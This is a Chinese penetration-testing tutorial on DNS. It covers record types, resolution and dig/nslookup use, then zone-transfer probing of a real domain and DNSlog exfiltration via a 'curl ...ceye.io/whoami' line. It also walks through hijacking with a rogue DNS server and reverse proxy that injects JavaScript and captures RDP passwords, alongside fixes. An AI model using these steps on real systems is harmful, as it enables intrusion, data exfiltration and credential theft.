渗透测试之DNS

0x01前言

DNS (Domain Name System, 域名系统 ),万维网上作为域名和IP地址相互映射的一个 分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。通过域名,最终得到该域名对应的IP地址的过程叫做域名解析(或主机名解析)。

0x02基本概念

1. 根域

就是所谓的“.”,其实我们的网址www.baidu.com在配置当中应该是www.baidu.com.(最后有一点),一般我们在浏览器里输入时会省略后面的点,而这也已经成为了习惯。

根域服务器我们知道有13台,但是这是错误的观点。

根域服务器只是具有13个IP地址,但机器数量却不是13台,因为这些IP地址借助了任播的技术,所以我们可以在全球设立这些IP的镜像站点,你访问到的这个IP并不是唯一的那台主机。具体的镜像分布可以参考维基百科。这些主机的内容都是一样的。

2. 域的划分

根域下来就是顶级域或者叫一级域。

有两种划分方式,一种是互联网刚兴起时的按照行业性质划分的com.,net.等,一种是按国家划分的如cn.,jp.,等。每个域都会有域名服务器,也叫权威域名服务器。

Baidu.com就是一个顶级域名,而www.baidu.com却不是顶级域名,他是在baidu.com 这个域里的一叫做www的主机。

一级域之后还有二级域,三级域,只要我买了一个顶级域,并且我搭建了自己BIND服务器(或者其他软件搭建的)注册到互联网中,那么我就可以随意在前面多加几个域了(当然长度是有限制的)。

比如a.www.baidu.com,在这个网址中,www.baidu.com变成了一个二级域而不是一台主机,主机名是a。

3. 域名服务器

能提供域名解析的服务器,上面的记录类型可以是A(address)记录,NS记录(name server),MX(mail),CNAME等。

接下来讲解具体的记录类型:

A记录(Address)

A 记录也称为主机记录,是使用最广泛的DNS记录,A记录的基本作用就是说明一个域名对应的IP是多少, 它是域名和IP地址的对应关系,表现形式为 www.baidu.com 119.75.217.109 , 这就是一个A记录!A记录除了进行域名IP对应以外,还有一个高级用法,可以作为低成本的负载均衡的解决方案,比如说,www.baidu.com可以创建多个A记录,对应多台物理服务器的IP地址,可以实现基本的流量均衡!)。

比如说笔者这里设置的A记录:

img

NS 记录(Name Server)

NS 记录和SOA记录是任何一个DNS区域都不可或缺的两条记录,NS记录也叫名称服务器记录,用于说明这个区域有哪些DNS服务器负责解析,SOA记录说明负责解析的DNS服务器中哪一个是主服务器。因此,任何一个DNS区域都不可能缺少这两条记录。NS记录,说明了在这个区域里,有多少个服务器来承担解析的任务。

SOA 记录(Start ofAuthority)

NS 记录说明了有多台服务器在进行解析,但哪一个才是主服务器呢,NS并没有说明,这个就要看SOA记录了,SOA名叫起始授权机构记录,SOA记录说明了在众多NS记录里那一台才是主要的服务器。

MX 记录( Mail Exchanger )

全称是邮件交换记录,在使用邮件服务器的时候,MX记录是无可或缺的,比如A用户向B用户发送一封邮件,那么他需要向DNS查询B的MX记录,DNS在定位到了B的MX记录后反馈给A用户,然后A用户把邮件投递到B用户的MX记录服务器里。

CNAME 记录

别名记录。这种记录允许您将多个名字映射到另外一个域名。通常用于同时提供WWW和MAIL服务的计算机。例如,有一台计算机名为“host.mydomain.com”(A记录)。它同时提供WWW和MAIL服务,为了便于用户访问服务。可以为该计算机设置两个别名(CNAME):WWW和MAIL。这两个别名的全称就http://www.mydomain.com/ 和“mail.mydomain.com”。实际上他们都指向“host.mydomain.com”。

SRV 记录

SRV 记录的作用是指明某域名下提供的服务。

例如:

_http._tcp.example.com. SRV 10 5 80. www.example.com

SRV 后面项目的含义:

10 – 优先级,类似 MX 记录

5 – 权重

80 – 端口

www.example.com – 实际提供服务的主机名。

PTR 记录

PTR 记录也被称为指针记录, PTR 记录是 A 记录的逆向记录,作用是把 IP 地址解析为域名。由于我们在前面提到过, DNS 的反向区域负责从 IP 到域名的解析,因此如果要创建 PTR 记录,必须在反向区域中创建。

ip 反查域名: https://dns.aizhan.com/103.43.134.210/

0x02解析过程

  1. 现在我有一台计算机,通过ISP接入了互联网,那么ISP就会给我分配一个DNS服务器,这个DNS服务器不是权威服务器,而是相当于一个代理的dns解析服务器,他会帮你迭代权威服务器返回的应答,然后把最终查到IP返回给你。(dns 迭代放大攻击有提到过)
  2. 现在的我计算机要向这台ISPDNS发起请求查询www.baidu.com这个域名了,(经网友提醒:这里其实准确来说不是ISPDNS,而应该是用户自己电脑网络设置里的DNS,并不一定是ISPDNS。比如也有可能你手工设置了8.8.8.8)
  3. ISPDNS拿到请求后,先检查一下自己的缓存中有没有这个地址,有的话就直接返回。这个时候拿到的ip地址,会被标记为非权威服务器的应答。
  4. 如果缓存中没有的话,ISPDNS会从配置文件里面读取13个根域名服务器的地址(这些地址是不变的,直接在BIND的配置文件中)。
  5. 然后像其中一台发起请求。
  6. 根服务器拿到这个请求后,知道他是com.这个顶级域名下的,所以就会返回com域中的NS记录,一般来说是13台主机名和IP。
  7. 然后ISPDNS向其中一台再次发起请求,com域的服务器发现你这请求是baidu.com这个域的,我一查发现了这个域的NS,那我就返回给你,你再去查。(目前百度有5台baidu.com的顶级域名服务器)。
  8. ISPDNS不厌其烦的再次向baidu.com这个域的权威服务器发起请求,baidu.com收到之后,查了下有www的这台主机,就把这个IP返回给你了。
  9. 然后ISPDNS拿到了之后,将其返回给了客户端,并且把这个保存在高速缓存中。

0x03工具使用

1. nslookup

笔者目前使用的kali虚拟机,下载连接:https://www.kali.org/downloads/

img

img

1
2
3
4
5
6
7
8
9
第一行Server是: DNS服务器的主机名	 –218.2.135.1

第二行Address是: 服务器的ip地址 –218.2.135.1#53

非全未应答(Non-authoritative answer):

Name是:解析的URL www.lengbsikai.net

Address是:103.43.134.210

第二幅图百度的解析比较复杂一点:

多出一个CNAME记录:www.a.shifen.com

2. Dig

接着上面分析。

通过dig迭代追踪查看一下:

img

第一步是向我这台机器的ISPDNS(218.2.135.1)获取到根域服务区的13个IP和主机名[a-m].root-servers.net.。

img

第二步是向其中的一台根域服务器(Servername就是末行小括号里的 ip:198.97.190.53#53(h.root-servers.net))发送www.baidu.com的查询请求,他返回了com.顶级域的服务器IP(未显示)和名称。

img

第三步,便向com.域的一台服务器192.54.112.30#53请求www.baidu.com,他返回了baidu.com域的服务器IP(未显示)和名称,百度有五台顶级域的服务器

[此处可以用dig @192.54.112.30 www.baidu.com 查看返回的百度顶级域名服务器IP地址】。

img

img

(ps:这个时候是能看到拜读顶级服务器对应的ip地址的。)

第四步,向百度的顶级服务器(220.181.37.10)请求www.baidu.com,他发现这个www有个别名,而不是一台主机,别名是www.a.shifen.com

img

看到上面的情况,问题就来了,按照一般的逻辑,当dns请求到别名的时候,查询会终止,而是重新发起查询别名的请求,所以此处应该返回的只是www.a.shifen.com。但是为什么返回a.shifen.com的这个域的NS呢?

同样用dig来追踪一下看看:

img

img

第三步的时候发现shifen.com这个顶级域名的域名服务器和baidu.com这个域的域名服务器是同一台主机。(dns.baidu.com)

0x04漏洞利用

1.DNS域传送(DNS Zone Transfer )

DNS 服务器分为: 主服务器、备份服务器和缓存服务器。域传送是指后备服务器从主服务器拷贝数据,并用得到的数据更新自身数据库。 在主备服务器之间同步数据库,需要使用 “DNS 域传送 ” 。

由于DNS协议 运行在 UDP 协议 之上,使用端口号53,所以可以使用一些特殊的搜索引擎来快速获取目标。

利用网络空间搜索引擎收集域名服务器:

Shodan(https://www.shodan.io)

img

Zoomeye(https://www.zoomeye.org)

img

fofa (https://fofa.so)

img

利用masscan搜集DNS服务器:

img

对ns.xml结果去重:

img

2.验证及修复

本文的验证漏洞都是通过zZone-Transfe(https://github.com/Xyntax/zZone-Transfer)脚本给出的。

nslookup

img

Namp

img

dig

1
dig @ns.lining.cn axfr li-ning.com

@ 指定域名服务器; axfr 为域传送指令; xxx.edu.cn 表示要查询的域名;

img

修复:

区域传送是DNS常用的功能,区域传送的漏洞也不是没有办法解决的,严格限制允许区域传送的主机即可,例如一个主 DNS 服务器应该只允许它的从 DNS 服务器执行区域传送的功能。

3.DNSlog注入

在测试一些网站的时候,一些注入类的漏洞都是没有任何回显信息的,这个时候我们很难判断自己的payload是否执行成功,这个时候可以借助dnslog。

简单的理解就是在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起DNS请求,这个时候可以通过这种方式把想获得的数据外带出来。

Dnslog基本原理

img

通过上面的学习,可以很清楚的明白对一个网站发起访问请求的时候,DNS的解析过程。

其中红色部分的服务器是可控的,只需要搭建一个红色部分的DNS服务器,并将要盲打或盲注的回显信息,放到自己域名的二级或者是三级域名上去请求,就可以通过DNS解析日志来获取它们。

Dnslog工具及利用

如果有自己的域名和服务器,可以自己搭建一个平台,开源项目源码:

https://github.com/BugScanTeam/DNSLog

另外就是已经搭建好的免费在线平台:

http://ceye.io

注册好后会给每个人一个身份标识,这是构造回显的关键。

(打码有点重,将就着看看。)

img

平台里面也提供了一些利用的payload:

img

先用自己的vps简单的演示一下:

比如:curl http://ip.port.b182oj.ceye.io/whoami

这个时候需要根据实际情况对payload进行替换,ip 、port、 Identifier 。

img

当然不止这种用法,比如SQL盲注,命令执行,SSRF。

具体参考以下链接:

https://www.cnblogs.com/afanti/p/8047530.html

https://www.anquanke.com/post/id/98096

4. DNS劫持

手法

DNS劫持有这三种情况

1.错误域名解析到纠错导航页面,导航页面存在广告。判断方法:访问的域名是错误的,而且跳转的导航页面也是官方的,如电信的114,联通移网域名纠错导航页面。

2.错误域名解析到非正常页面,对错误的域名解析到导航页的基础上,有一定几率解析到一些恶意站点,这些恶意站点通过判断你访问的目标HOST、URI、 referrer等来确定是否跳转广告页面,这种情况就有可能导致跳转广告页面(域名输错)或者访问页面被加广告(页面加载时有些元素的域名错误而触发)这种劫持会对用户访问的目标HOST、URI、referrer等会进行判定来确定是否解析恶意站点地址,不易被发现。

3.直接将特点站点解析到恶意或者广告页面,这种情况比较恶劣,而且出现这种情况未必就是运营商所为,家里路由器被黑,或者系统被入侵,甚至运营商的某些节点被第三方恶意控制都有可能。具体情况要具体分析,这里就不展开了。

DNS劫持常见于使用自动的DNS地址,所以,不管有没有被劫持,尽量不要使用运营商默认的DNS。

DNS服务器

第一种:

运行nslookup
如果你当前的DNS服务器正常工作,返回的结果应该是你自己的DNS服务器。随便解析一个网站,比如www.microsoft.com

应该返回的是正常的地址然后再解析一个不存在的网站,比如adfasdf.fljalfjsd.com.cn如果返回的结果是DNS request timed out.timeout was 2 seconds. 那么证明你的DNS没有被劫持如果返回的结果是一个IP地址,比如说网通的返回地址是123.xxx.xxx.xxx,那么证明你的DNS被劫持了。

请检查以下设置:

  1. 右键点击我的电脑,点击属性
  2. 点击计算机名
  3. 点击其他
  4. 检查“此计算机的主DNS后缀”设置,默认情况下这一设置应该是您的域名(比如Microsoft.com)
  5. 打开网络链接
  6. 右键点击网络链接并点击属性
  7. 双击TCP/IP
  8. 点击高级,并点击DNS属性页
  9. 检查“附加主要的连接特定的DNS后缀”选项,默认“附加主DNS后缀的父后缀”是被选中的
  10. 检查此连接的DNS后缀内是否设置了内容,默认为空
  11. HOSTS文件被修改也会这样,你可以在C:\Windows\System32\drivers\etc用记事本打开hosts文件看是否被添加了相关的网址和IP信息,默认的应该只有一个127.0.0.1

修复:

由于DNS被强制修改,kaspersky不能访问,可以尝试其它厂商的在线杀毒。DNS上清理缓存,并执行

ipconfig/flushdns,客户端上也执行该命令,在测试看看。另:有的时候可以在浏览器中直接输入IP地址,而不是域名。请尝试!如果IP段被劫持,可以更换IP来解决。或者用360或者电脑管家进行修复,或者电脑急救箱。

第二种:

这篇文章把Dns分为两种,一种是主机或嵌入式设备dns,一种是网站域名dns,来讲述dns沦陷之后带来的危害。

你本地的网络连接的dns是通过路由器获取的,假如有一天你家里的路由被黑客入侵了,入侵者修改了你家里路由器的dns,那么他可以对你访问记录非常清楚,如系在文件,流量记录。既然解析都通过dns,我们完全可以自建dns,来进行攻击。

1.路由器怎么样沦陷

上周百度搜索上线了一个非常重要的策略,如果发现有网站被植入恶意篡改用户路由DNS的代码时,就会拦截页面,打出提示!据安全联盟的统计发现过万的网站被黑,植入了路由DNS劫持代码,这个数量非常之大。
过去一段时间,知道创宇安全研究团队就捕获了至少5个变种。这类攻击的模式一般是:

  1. 攻击者黑下一批网站;

  2. 攻击者往这批网站里植入路由DNS劫持代码(各种变形);

  3. 攻击者传播或坐等目标用户访问这批网站;

  4. 用户访问这些网站后,浏览器就会执行“路由DNS劫持代码”;

  5. 用户的家庭/公司路由器如果存在漏洞就会中招;

  6. 用户上网流量被“假DNS服务器”劫持,并出现奇怪的广告等现象;

tips: 烽火通信某款路由器被爆存在漏洞-可远程修改DNS

http://www.exploit-db.com/exploits/28450/

2.自建dns(window)

在这里我使用微软自家产,(完全可以用其他产品代替,个人习惯问题)

wKioL1ZxVCfDmzBCAABDds_fMBg567.png

配置劫持域名    myhack58.com

wKioL1ZxVFaRrRCUAAAkNCrr8pk332.png

①转发器配置 (SERVER01)

http://blog.sina.com.cn/s/blog_629b8d940102vjlo.html

转发器解决这台服务器没有应答的dns查询请求, 如这台主机只有myhack58.com, baidu.com等是不存在的,这种情况把会把baidu.com请求转发到你配置的dns去解析。我配置解析的dns是8.8.8.8

wKioL1ZxVJPjc6OVAAAlqIu2ruY558.png

②配置劫持域名A记录 (SERVER02)

刚才dns填写是跟域,这时候需要对A记录进行解析,比如我劫持www.myhack58.com到本地127.0.0.1。

wKiom1ZxVP6QDPxnAAAyy247UR8307.png

我这解析是vps的IP,测试可以写127.0.0.1。但要用起来你解析写公网ip地址,不然别人解析是127.0.0.1,127.0.0.1是你本地,找不到的地址,没办法跟反向代理代理配合。

wKiom1ZxVSnDbwfRAAA0pfsG_MQ893.png

测试dns是否配置成功,可以使用dnslookup ping 等去测试

wKioL1ZxVXOhgTVrAAAnyfn9jO0629.png

Dns已配置成功,虽然现在解析本地了,我本地难道就只能挂个黑页?当然不是,我的目的是要求是替换页面的内容.比如插入js,修改某个文字等

客户端的配置(SERVER03)

由于我在公司没有路由器,直接使用客户端做测试,客户端的dns获取来源还是路由器。

wKioL1ZxVbqSehVZAAAfc5KpWQY299.png

这时候配置成功,你可以打开baidu.com来测试,是否可以解析,正常打开。

wKioL1ZxVcjR4-EvAAEiLeIK4Ew281.png

③反向代理搭建

反向代理来这里启到作用是,把dns解析www.myhack58.com的vps的这个请求**代理到真实的解析**。

我们要做的事情 要给页面插入一段js。

Openresty介绍

​ 在这里我们使用Openresty,Openresty是基于nginx,它打包了标准的 Nginx 核心,很多的常用的第三方模块,nginx第三方模块都需要编译,在window下比较恶心 我直接找了一个Openresty_For_Windows,已打包我想要的是第三方模块http_sub_module。

​ 下载地址: https://github.com/LomoX-Offical/nginx-openresty-windows

​ 使用nginx -V 查看已支持的第三方模块

​ http_sub_module缺点

​ 1. 只能使用一条规则

​ 2. 不支持中文

反向代理配置

​ 监听端口vps的公网IP的80端口.当dns查询请求解析到本地80的时候,80正好监听vps公网ip,反向代理是myhack58.com。实际上vps公网ip是myhack58.com

打开/conf/nginx.conf文件进行配置

​ 使用了http_sub_module,替换了内容把

1
</head>换成</head>undefinedundefinedundefinedundefined<script sec=safe.js></script>

我故意

wKioL1ZxVsOhpA7kAAAcoCiQ0i8280.png

写错 写成sec=

测试是否成功

​ 先前已经把dns设置过去了,现在也可以ping通,那我们就查看源码 是否替换了页面内容。

wKiom1ZxVwOB3LuuAADs50t9Tz0802.png

​ 配置其他功能

​ 现在dns加反向代理配置已经完成了,你可以替换他的页面了

​ Openresty配置反向代理,你要是需要其他的配置还可以设置很多参数,如proxy_cache proxy_header proxy_send_timeout proxy_read_timeout。取决于自己用途。

二 网站域名dns劫持

​ 当你通过社工拿到了某个域名权限, 但是你的目的是getshell,这时候你可以做反向代理,可以从两方面下手去做。

A记录劫持演示

​ 直接修改域名劫持到A记录的你的恶意反向代理,但是这时候反向代理必须有配置upstream,在upstream指定原域名解析的ip地址,路由器劫持dns没有配置upstream 是因为上层的dns还可以解析到劫持域名的真实ip,而你这时候意见把A记录解析修改到了你的恶意反向代理机器,不去指定解析的地址, 上层找到解析的地址还是恶意的反向代理,形成一个死循环,永远打不开网站。

​ 域名A记录劫持

www.sanr.org 192.168.182.128

​ 反向代理 192.168.182.129

wKiom1ZxV_iQfIouAAAWKXi2OZs330.png

为什么要劫持A记录

​ 如你通过社工之类拿到了域名的控制权限,这时候你想获取他的后台地址,或者cookie等你就需要这样做。

​ 目前我已经控制sanr.org的域名解析权限,现在我们要做的是把www.sanr.org的A记录解析到192.168.182.129。让反向代理去访问真实的ip(也就是192.168.182.128),在反向代理的时候我们动手脚,插个js代码进去。

​ 没修改A记录之前

wKiom1ZxWEmCYkZmAAF0J8BjQ0Q968.png

修改域名A记录

​ 修改域名到反向代理服务器 192.168.182.129

wKioL1ZxWIrDMJ43AAATAFB1rHk556.png

​ 反向代理服务器搭建(192.168.182.129)

​ 绑定域名为www.sanr.org 端口80,并指定上游(upstream)地址是192.168.182.128,必须指定上游地址(upstream),只有proxy_pass无upstream他会自动请求解析A记录。

​ 路由器dns劫持那块没有用upstream是因为域名的A记录的iP地址你可以通过proxy_pass获取到。

​ 而现在域名A记录解析是反向代理机器也就是本机(192.168.182.129),如不使用upstrema去指定真实的IP地址,proxy_pass直接去解析到的是本地IP,那么就会造成死循环,一直解析的都是本机。

下面是反向代理配置文件。

wKioL1ZxWNWQkBOKAAA6QVHP1ZM659.png

​ 劫持成功

​ 成功的给sanr.org的植入safe.js代码

wKiom1ZxWQDSvk1JAALBDmQnwQM723.png

dns劫持

​ 跟路由器劫持dns一样,自建dns,之后把域名的dns解析配置的A记录解析到恶意的反向代理,反向代理中还是要指定upstream,跟a记录劫持一样,不然造成死循环。

Dns服务 反向代理软件有很多,完全取决于自己的习惯,用自己最喜欢的。

Dns win

WinMyDNS

微软自家

Dns linux

dnschef “msfconsole auxiliary/server/fakedns”

Powerdns bind 等 linux开源项目太多

反向代理

Squid Varnish nginx 或者nginx 衍生版(Tengine Openresty)

wKiom1ZxWffjbySJAASyBJESYFE665.png

攻击手法不仅仅是替换网页内容 插入js,如劫持你路由器的dns, 连接3389也是输入域名也是通过dns解析的,我完全可以把A记录劫持我本地,连接3389是我本机的机器,之后安装WinlogonHack,来记录密码,WinlogonHack需要改成即使是错误密码也要记录,不然记录不到。

www.baidu.com解析到我vps主机的ip

Dns已生效,解析baidu.com也返回是vps主机的ip

wKioL1ZxWnrSNHZmAAA0KhGwnOs810.png

连接3389(其实这时候是我vps的IP)

wKioL1ZxWsPh8RQvAACQeQDHVpc930.png

只要涉及到域名解析的 本地host 本地客户端dns 路由器dns,都可以这样去劫持,攻击手法变化多样,看你出自于什么目地去做。

##### 第三种:

  1. Cain进行DNS劫持、ARP欺骗。

  2. 小凡顶尖劫持插件程序。

  3. 浪花DNS域名劫持。

  4. netfuke劫持工具。

  5. 修复DNS劫持,使用OpenDNS解决DNS域名劫持。

  6. 一次利用社会工程学完成的域名劫持攻击。

  7. 入侵DNS解析服务器。

  8. 以IP冲突的方法来劫持域名。

  9. openresty+lua在反向代理服务

  10. Squid和Nginx是非常优秀的反向代理。

(以下来自红客联盟)

  1. 假扮域名注册人和域名注册商通信。

这类域名盗窃包括使用伪造的传真,邮件等来修改域名注册信息,有时候,受害者公司的标识之类的也会用上。增加可信度。
hushmail.com被盗窃就是一次典型的例子。当时一名域名劫持者使得注册服务提供商相信了他的身份,然后修改了该公司的域名管理员邮件信息。然后攻击者使用管理员邮件提交了密码重设请求。最后。攻击者登录域名服务商。修改密码。更改DNS记录,然后指向自己的服务器。

  1. 是伪造域名注册人在注册商处的账户信息。
    攻击者伪造域名注册人的邮件和注册商联系。然后卖掉域名或者是让买家相信自己就是域名管理员。然后可以获利是伪造域名注册人的域名转移请求。
  2. 这类攻击通常是攻击者提交一个伪造的域名转让请求,来控制域名信息。
    在2001年,攻击者向服务商提交了一封信。谎称原注册人已经被公司解雇,须将域名转移给自己,结果他成功地控制了sex.com域名。最后被判了6500万美元罚款。
  3. 是直接进行一次域名转移请求。
    这类攻击有可能改dns,也有可能不改,如果不改的话。是很隐蔽的。但最终盗窃者的目的就是卖掉域名,当时blogtemplate4u.com 和 dhetemplate.com
    两个域名是由美国一家公司通过godaddy注册管理的。结果某一天,一个盗窃者使用该公司管理员的帐号密码登录到域名管理商,执行了转移请求。注意。他没有更改dns记录。域名在转移期间。一切服务都没有受到影响。
  4. 是修改域名的DNS记录。

未经授权的DNS配置更改导致DNS欺骗攻击。(也称作DNS缓存投毒攻击)。这里。数据被存入域名服务器的缓存数据库里,域名会被解析成一个错误的ip,或是解析到另一个ip,典型的一次攻击是1997年Eugene Kashpureff黑阔通过该方法重定向了InterNIC网站。

5.HTTP劫持

HTTP劫持:你DNS解析的域名的IP地址不变。在和网站交互过程中的劫持了你的请求。在网站发给你信息前就给你返回了请求。

HTTP劫持很好判断,当年正常访问一个无广告的页面时,页面上出现广告弹窗,八成就是运营商劫持了HTTP。下图中,右下角的广告并不是所访问的网站放置的。

V2ex被HTTP劫持

HTTP劫持比较出名的是360导航的首页,曾经被某运营商弹出广告,而且只有用户打开360导航时才会出现该广告,以至于很多用户认为这是360自己的广告,引发了大量投诉,结果最后被证实是运营商干的。

关于DNS劫持和HTTP劫持,打个比方来描述这两种劫持,DNS劫持就是你想去存钱运营商却把你拉到了劫匪手中;而HTTP劫持就是你从服务器买了一包零食电信给你放了一坨屎,横竖都很恶心人。

解决办法

如果你遇到类似情况,可以先给运营商打电话投诉,说明自己遇到劫持了。一般情况下客服会说你可能是中毒了,不要紧坚持说自己用的是Mac,不会中毒,让对方解决。如果运营商不给解决,可以告诉对方你到工信部投诉他们,运营商八成会认怂。

如果不认怂怎么办?当然是真的到工信部投诉啊!工信部电信用户申诉受理中心:

工信部

http://www.chinatcc.gov.cn:8080/cms/shensus/

0x05参考链接

https://baike.baidu.com/item/dns/427444?fr=aladdin

http://www.cnblogs.com/liyuanhong/articles/7353974.html

https://blog.csdn.net/weixin_41545330/article/details/80865676

https://blog.csdn.net/c465869935/article/details/53444117

https://www.cnblogs.com/afanti/p/8047530.html

https://www.anquanke.com/post/id/98096

https://www.freebuf.com/column/184587.html

https://blog.csdn.net/qq_32447301/article/details/77542474

转载自freebuf

-------------本文结束感谢您的阅读-------------